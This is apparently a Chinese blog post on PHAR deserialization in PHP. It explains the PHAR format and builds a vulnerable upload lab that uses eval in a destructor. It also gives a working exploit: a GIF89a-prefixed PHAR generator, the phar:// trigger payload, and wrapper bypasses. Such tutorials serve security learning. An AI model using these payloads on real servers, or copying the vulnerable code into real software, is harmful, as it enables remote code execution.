PHAR反序列化总结

PHAR是什么

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。简单来讲phar就是一种文件格式

PHAR文件结构

phar既然是一种文件格式,那么就会有特定的文件结构
主要分为3-4个部分:
1.a stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3.the files contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.a signature for verifying Phar integrity
签名格式

我们自己来生成一个phar文件来自己看一看

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';//创建data变量并赋值
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

这里生成失败了,查了一下是要关掉php.ini中的配置

这里phar.readonly的On改成Off

然后就生成了phar.phar

用winhex打开发现里面的meta-data被序列化了,所以要读取phar文件就会有一个反序列化的过程

那么有序列化就一定有反序列化的过程,下面的几个函数都支持phar协议,也就是反序列化的过程:

我们来测试一下反序列化的过程,源代码如下,加了一个输出

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;  
    }
}
include('phar://phar.phar');
?>


可以看到,反序列化成功了

环境测试

环境准备

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

文件内容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

自己在本地访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
进行上传
然后利用file_un.php。
payload:filename=phar://upload_file/phar.gif
利用成功

后续补充

在看完P神的文章之后对phar有了新的认识,
fileinfo ,md5file,extractTo,pgsqlCopyFromFile,CopyToFile也是可以反序列化的
当题目限制了不能以phar开头的时候可以使用

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
posted @ 2021-11-26 11:34  无据  阅读(313)  评论(0编辑  收藏  举报